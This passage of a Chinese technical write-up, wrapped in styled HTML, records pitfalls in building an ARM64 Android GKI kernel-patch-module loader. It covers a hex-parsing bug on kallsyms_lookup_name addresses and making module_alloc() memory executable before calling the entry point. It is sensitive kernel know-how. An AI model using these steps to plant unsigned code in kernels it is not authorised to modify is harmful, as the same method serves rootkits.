4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name</span></code><span leaf=""> 地址：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1469" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 122, 204);"><span leaf="">echo</span></span><span leaf=""> kaddr 0xffffffeedaaa69b8 &gt; /proc/kpm_loader</span></code></pre><p data-line="1501" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dmesg</span></code><span leaf=""> 显示：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1475" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">kallsyms_lookup_name set to 0</span></code></pre><p data-line="1507" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">后续所有符号解析全部失败。</span></p><p data-line="1509" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">自写的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hex_to_ulong()</span></code><span leaf=""> 函数没有处理 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x</span></code><span leaf=""> 前缀。</span></p><p data-line="1511" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">有 bug 的解析逻辑类似这样：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1485" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">hex_to_ulong</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *s, </span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> max_len, </span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> *out)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> v = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i;</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; max_len &amp;&amp; s[i]; i++) {</span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/*</span><span leaf=""><br/></span><span leaf="">         * 遇到非十六进制字符就停止。</span><span leaf=""><br/></span><span leaf="">         *</span><span leaf=""><br/></span><span leaf="">         * 输入是 0xffffffeedaaa69b8：</span><span leaf=""><br/></span><span leaf="">         *   s[0] = &#39;0&#39;</span><span leaf=""><br/></span><span leaf="">         *   s[1] = &#39;x&#39;</span><span leaf=""><br/></span><span leaf="">         *</span><span leaf=""><br/></span><span leaf="">         * &#39;x&#39; 不是十六进制字符，于是循环在 i = 1 处退出。</span><span leaf=""><br/></span><span leaf="">         */</span></span><span leaf="">    }</span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/*</span><span leaf=""><br/></span><span leaf="">     * 函数错误地认为 i &gt; 0 就是解析成功，</span><span leaf=""><br/></span><span leaf="">     * 最终 out 被设置成 0。</span><span leaf=""><br/></span><span leaf="">     */</span></span><span leaf="">}</span></code></pre><p data-line="1538" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">也就是说：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1512" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">0xffffffeedaaa69b8</span></code></pre><p data-line="1544" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">被错误解析成：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1518" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">0</span></code></pre><p data-line="1550" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而且函数还返回“成功”。</span></p><p data-line="1552" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在解析前显式跳过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x</span></code><span leaf=""> 或 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0X</span></code><span leaf=""> 前缀：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1526" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (s[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;0&#39;</span></span><span leaf=""> &amp;&amp; (s[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;x&#39;</span></span><span leaf=""> || s[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">] == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;X&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">    s += </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">;</span></code></pre><p data-line="1559" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">十六进制解析函数必须显式处理 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x</span></code><span leaf=""> 前缀。内核日志、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/kallsyms</span></code><span leaf=""> 输出、用户空间脚本提取出来的地址，几乎都会保留这个前缀。如果解析器不处理它，就会解析出 0，而且很可能没有任何错误提示。</span></p><h3 data-line="1565" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内存权限与符号可见性</span></h3><p data-line="1567" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 23：ARM64 上 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_alloc()</span></code><span leaf=""> 返回的是不可执行内存</span></p><p data-line="1569" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM 加载完成后调用入口函数：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1539" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">kpm_init()</span></code></pre><p data-line="1575" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">结果触发：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1545" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">IABT</span></code></pre><p data-line="1581" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">也就是 Instruction Abort。崩溃地址正好落在 KPM 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf=""> 段中。这说明代码所在内存不可执行。在 ARM64 GKI 上，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_alloc()</span></code><span leaf=""> 返回的内存属性通常是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1551" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">PAGE_KERNEL</span></code></pre><p data-line="1593" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">也就是：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">可读</span></p></li><li><p><span leaf="">可写</span></p></li><li><p><span leaf="">不可执行</span></p></li></ul><p data-line="1599" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 ARM64 上，不可执行由 PXN 控制：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1563" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">PXN = Privileged Execute Never</span></code></pre><p data-line="1605" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_alloc()</span></code><span leaf=""> 得到的内存默认不是可执行内存。这和很多 x86_64 环境不同。x86 上开发 loader 时，这类问题经常不会暴露；但在 ARM64安卓GKI上，PXN 是硬件强制的。不能一分配完就直接执行。正确流程应该是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1569" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">阶段 1：分配内存</span><span leaf=""><br/></span><span leaf="">  module_alloc()</span><span leaf=""><br/></span><span leaf="">  得到 RW / NX 内存</span><span leaf=""><br/></span><span leaf="">阶段 2：写入内容</span><span leaf=""><br/></span><span leaf="">  复制 section</span><span leaf=""><br/></span><span leaf="">  解析符号</span><span leaf=""><br/></span><span leaf="">  生成 PLT / GOT</span><span leaf=""><br/></span><span leaf="">  应用 relocation</span><span leaf=""><br/></span><span leaf="">阶段 3：切换权限</span><span leaf=""><br/></span><span leaf="">  set_memory_x()</span><span leaf=""><br/></span><span leaf="">  设置 text 可执行</span><span leaf=""><br/></span><span leaf="">阶段 4：刷新指令缓存</span><span leaf=""><br/></span><span leaf="">  flush_icache</span><span leaf=""><br/></span><span leaf="">阶段 5：调用入口函数</span><span leaf=""><br/></span><span leaf="">  kpm_init()</span></code></pre><p data-line="1635" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">示例流程：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1593" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 